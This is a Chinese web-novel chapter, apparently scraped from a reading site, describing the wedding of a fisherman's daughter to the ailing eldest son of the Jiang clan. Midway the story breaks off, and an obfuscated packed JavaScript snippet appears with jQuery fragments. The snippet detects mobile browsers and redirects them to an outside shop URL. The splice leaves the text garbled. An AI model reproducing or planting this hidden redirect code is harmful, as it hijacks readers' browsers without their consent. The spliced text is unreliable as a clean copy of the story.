默认冷灰
24号文字
方正启体

1. 第 1 章

作者:骑鹅吃草本书字数:K更新时间:
    七月十二,黄道吉日。


    道路两侧,枝桠蔓延了半边天际的老槐树装点着喜庆的红绸。


    一声唢呐惊醒栖息的鸟儿,染红天边时舒时卷的云。


    新娘子头盖喜帕,由喜婆扶出酒楼。


    鸟儿振翅低飞,恰巧掠过空荡的喜轿。


    划空而过的声音引得新娘子驻足停留,微风拂面,她高高扬起的脸轮廓清晰。


    京师里权势鼎盛的榆林江氏长公子,今日娶亲。


    “是喜鹊,少夫人好福气!”喜婆满是笑意的话传进她耳中。


    “是吗。”新娘子语气轻极了,一句话也没什么情绪。


    喧闹的喜乐掩却她的呢喃。


    “少夫人说什么?”喜婆不自觉大声问道。


    她能说什么,以普通渔家女儿的身份嫁入一流世家,这桩婚事在世人眼中已然是麻雀飞升做凤凰,她淮娘就是普天之下第一等有福人。


    从此不再担忧柴米油盐价贵,也不再被孝字折磨,担忧老父衣食温饱。


    她摇头,提裙迈入倾斜喜轿的前一刻,短暂回眸。


    不久前,江大公子写了一封信来,言辞恳切,“某欲亲迎,然病体之故,若不能及,还望姑娘见谅。”


    八人抬的喜轿周围,不见高头大马。


    轿内,车帘随风摇晃,不时便洒进一些碎金似的暖光。


    那会在水乡乌篷的小船上,也是这样时暗时亮的多云夏日,独自一人拉扯她长大的阿爹对她说,“淮娘,你嫁吧。”


    “那可是江家。”


    淮娘望着这个看似站得挺直的中年男人,“你是怕江家报复,还是舍不得江家的钱。”


    她盘坐船边,脑袋枕着搁在船沿上的双臂,半垂的指尖触及水面。


    水不温不凉,像她此时的心情,进一步不能厉声骂父卖女,退一步不愿顺从出嫁。


    她垂眸看了半晌指尖拨起的涟漪,直到那圈圈涟漪扩大、消散,才低声道,“这样,我嫁过去,聘礼给你,我们也就此断了父女之名,免得你我以后亲生父女仇人相见。”


    见他沉默不语,淮娘不免嗤笑。


    “我只是嫁去冲喜,江家不会再给我些什么。”


    男人不再犹豫,“好。”


    喜帕下,淮娘阖眸。


    既然答应嫁过来,就该知道有这一天,只是不曾想这一天来得如此之快。


    她用江家聘礼买断了和阿爹的亲缘,江家用聘礼买断了她的婚姻。


    淮娘闭着眼睛想,与江家交换的不能是她以后所有的日子,她只是短暂的待在一位命数不算长的病人身边,仅此而已。


    只待一个时机,从此她便是孤身一人一身轻。


    雕梁画栋,九曲回廊,翼角檐下一青衫女子提灯而至,“方才公子服了药,现下药效散了吗?眼下吉时将至。”


    “再等等,那药安神你又不是不知道,你难道想叫公子强撑身子出门迎接?”


    回话的小厮名唤碧空,是江家大公子的贴身侍从。


    “可…”


    “桃红,别忘了你真正的主子是谁。”碧空语带警告。


    “我的主子当然是公子与少夫人。”桃红语调仍旧温和,不卑不亢道,“倒是你,公子连素来喜爱的礼园都给了少夫人,我劝你还是尊重些吧。”


    “公子服药前也说了,若是药效未过还在沉睡,定要叫醒,以免误了吉时,平白让少夫人为难。”


    “你还是进去通传一声吧。”


    碧空碰了软钉子,见桃红似乎要张嘴吵醒屋内陷入昏睡的公子,立刻压低声音喝到,“桃红!你原是伺候公子的人,就算如今被指给少夫人,也不该把公子忘了!”


    “碧空。”


    身形瘦削的男人从梦中醒来。


    那些轻快的瞬间一点一滴消散,他不禁攥了攥手,病体的沉重拖他回到现实,五感回归。


    下一刻,男人听见自己侍从傲气十足的声音。


    “公子。”桃红、碧空一齐见礼。


    男人示意两人起身,“桃红,去取喜服来。”


    “是。”桃红福身,临走前瞧了眼脸色隐隐发白的碧空。


    碧空是三年前来到公子身边伺候的人。


    公子临街遇上快饿死的碧空,舍了他一顿饭,将他带了回来。


    后来公子身边的祥云调到二公子身边,碧空便成了贴身侍从。


    他是一向以公子马首是瞻的。


    “碧空,你现在连我的命令都不听了。”


    “公子!”碧空一时情急,直直望向他,“可您才是宅子的主人,桃红怎么能因为少夫人就…”


    “她是我妻,这一点不会变。你我都要敬重她。”


    .


    敲锣打鼓的喜乐吹了一首又一首,透进来的日光愈发暗淡,终于,轿夫拖长尾音高喝,“落轿——”


    随着这声气息悠长的吆喝,不远处爆竹鸣响,长鞭的噼啪声成串,不时夹杂几声短促的、被裁成段的小鞭。


    一片热闹中,花轿落地。


    喜婆并未立即请淮娘下轿。


    按照流程单,落轿后新郎官领新娘下轿,可她的夫婿不在这,淮娘摸不清喜婆是否也同她一样犯难,不知该不该跳过这步。


    她轻叹一声,正欲撩开门帘,忽而听见一声环佩叮当,淮娘悬在半空的手僵住,喜乐停了。


    “公子!”


    喜婆诧异的声音隔着一层轿壁响起,随后便是众人异口同声的一句,“见过公子。”


    来人嗯了一声,“让你们久等。”


    声音里透着沙哑,有气无力的显露出一丝病气。


    可抛开沙哑,他的音色却自带温润,轻柔的像一夜催生无数新芽的春雨。


    轿帘被人撩开一角,张灯结彩的光亮霎时倾泻进来,撩帘的人顿了顿,似乎是怕坐在里面的人不适应,觉得刺眼,过了几息才将剩下部分束至红木框边。


    他递来一截牵巾。


    半掩红绸的指节分明修长,淮娘认得这只手,撩门帘的也是这只。


    轿身前倾,淮娘扶着门框边缘的凸起,探身接过牵巾。


    手腕绕着红绸,轻轻一拉,顺滑的绸缎就擦过他手心赤裸斑驳的掌纹,似水似光阴转瞬溜走,只余淡淡的痒意彰显曾经的存在。


    男人抬眸。


    黄昏十分,半边红晕点起呼啸的风,单薄的喜帕就顺势被风掀开,又调皮地半挂在凤冠上。


    与隐在喜帕背后衔珠金凤境遇相似的,是淮娘犹抱琵琶半遮面的面庞。


    夕阳与烛光映照,喜帕上点点金粉扑簌而下。


    满地碎红响鞭之上,男人略微仰头,颀长瘦削的身形恰似一只引颈白鹤。


    没有喜帕的遮挡,淮娘得以清晰看清他此时的神情,苍白的脸上浮现浅淡的诧异。


    即使有红衣衬托,他也只是稍有生气,脸色仍旧是白的。


    虽是尾尖上挑的眼型,却因半阖的眼皮而显得淡漠。像是久病缠身,再无一分心力去关注周身发生的一切。


    风声渐渐小了。


    风送来他身上晒干水分用太阳填充的草药味,只可惜这让人安心的气息淡的很,转眼便只剩苦味。


    淮娘轻轻吸了吸鼻子。


    她天然能感知他人的情绪。


    男人身上的苦味是由内而外散发出来的。


    一个出身顶好的苦瓜,淮娘被脑中突然冒出的想法逗笑了。


    此时淮娘还站在轿上,比他高些,看向他的视线像一只鹿,误打误撞离开了属于她的森林,闯入一片空泛的水汽。


    灵动。


    这是江德昆对淮娘的第一印象。


    她颈线修长,鹅蛋脸上一双杏眼圆润,平和的线条走向配上墨色剔透的瞳孔,自带一种苍茫悠远之感,生生压住那抹灵动的稚气。


    不知为何,她眸中显现一抹笑意,似雪山巅在初阳的照耀下波光粼粼的幽潭。


    在对视中,时间仿佛都被拉长。


    “少夫人。”


    站在淮娘身后的喜婆瞧见一侍女从大门出来,怕里头老爷和夫人等着急了,只得硬着头皮出言。


    淮娘眸光微动,看向她。


    “喜帕……”喜婆上前一步,正欲为淮娘整理喜帕,就见江德昆抬手制止,她下意识想说这不合规矩,可转念一想,她又道,“是。”


    “不用盖吗?”


    “无碍。”


    穿过内外仪门便是前厅。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347429|199538||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    敞开的前厅由两道隔扇间断,仿佛三幅联系紧密的画作。


    左侧,手持拂尘的圆脸太监笑容亲切,身后俱是素蓝圆领衫的小黄门;右侧,是穿戴官服的朱衣宰相,周围世家子弟衣冠云集。


    正中间的那幅画卷里,一对中年夫妻端坐高堂。


    江父江母远远见着淮娘与江德昆各持了一截红绸牵巾,款步走来。


    彭圆英抬手挽了一缕鬓发,右腕袖间的玉玺手镯一晃而过,她视线从淮娘清透红润的面容转向左侧的丈夫。


    江父端盏的动作一顿,而后拿杯盖拨了拨叶片,饮啜茶水。


    静谧中,那圆脸太监率先开口,“二位贵人真可谓郎才女貌,天作之合。”


    他一甩拂尘,直起佝偻的腰,肃清嗓子道,“圣上口谕——”


    满堂达官显贵一齐撩衣行礼,全程只闻衣料摩擦。


    淮娘虽然知道有御赐这项,做了心理准备,可还是被这一幕震撼的说不出话来。


    她悄悄瞧了眼跪在她身侧毫无波澜的男人,想来这是他见惯了的。


    “奉天承运皇帝,口谕曰:闻昆山新婚之喜,朕与有荣焉。昔卿辅弼社稷,今得佳妇,更添闾门之乐。特赐御酒十坛,各色锦缎三百匹,钱十万,聊助芳筵。惟望同心共德。钦此。”


    昆山,是江德昆的字。


    原来他身后一水的侍卫们抬的箱笼与酒坛都是御赐之物。


    淮娘收回视线。


    “臣(妇)叩谢天恩。”


    “贵人请起。”


    领头太监唇角噙笑,虚扶他们起身,“奴才宣完旨,这便回宫了。”


    “金想、却娥,送陈公公他们。”


    彭圆英抬手,身边两位腰系荷包的青衣侍女轻声称是,“公公这边请——”


    众人起身,婚礼流程继续。


    朱衣宰相名唤商庭,任中书省最高职位中书监,是名副其实的桃李满天下的文坛领袖。


    当年江德昆科举,主考官就是他,后来江德昆的及冠仪式也是他亲临赐字。


    如今江德昆大婚,请他来做主婚人,再合适不过。


    一男一女两位礼赞,是一对难得的德高望重儿孙满堂的“全福人”。


    男礼赞喊了声“拜”,淮娘俯身,就这样与江德昆拜了天地。


    而后女礼赞道,“二位,再拜高堂!”


    淮娘转身面向江父江母,再拜起身时金凤衔坠的水滴状红玉触上眉心,平添一抹艳丽。


    “快起来,”彭圆英扶起淮娘,并未受她的全礼,“我全当你是我女儿了。”


    “这是我当年嫁给你父亲时,你祖母给我的传家玉玺——”


    她笑容温吞,褪下腕上的白玉镯,“可我原有一支了,这宝贝也只能束之高阁。如今你来了,我便传与你,只当是我们老两口给你的见面礼。”


    掌心是柔软温热的触感,淮娘有些怔愣,她少有与女性长辈亲密接触,一时不知如何是好,只得求助般望向江德昆。


    江德昆抿唇,相较清冷灵气的外表,于人际上笨拙的反差实在叫人忍不住失笑。


    “既是母亲给你,你便收下吧。”


    淮娘屈膝,正欲出言感谢,忽而听见一声很轻的冷哼。


    她寻声望去。


    是一个还未及冠的少年。


    看衣着,非富即贵。


    视线收回,那少年颇有几分彭夫人的神韵。


    “淮娘谢夫人抬爱。”


    通体温润的镯子不大不小,戴在手腕上正合适。


    她笑道,“看来你是我们江家命中注定的儿媳了。”


    “新娘子还叫夫人呐?”二位礼赞笑起来,“夫人快回上首坐着,等新人拜完堂奉上茶就该改口啦!”


    “你们两口子这张嘴啊。”


    她笑了笑,重新坐回右侧主位。


    淮娘攥着红绸,面向江德昆。


    两人隔着一段距离,正中打的繁复喜人的花,带着整条丝绸弯出弧度。


    四目相对,淮娘注意到他那双褐眸,在烛光下分外剔透,全然不似被雨水沾湿的泥土般厚重。


    “三拜,礼成——”


    鲜红似火的牵巾骤然绷直,夫妻对拜。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)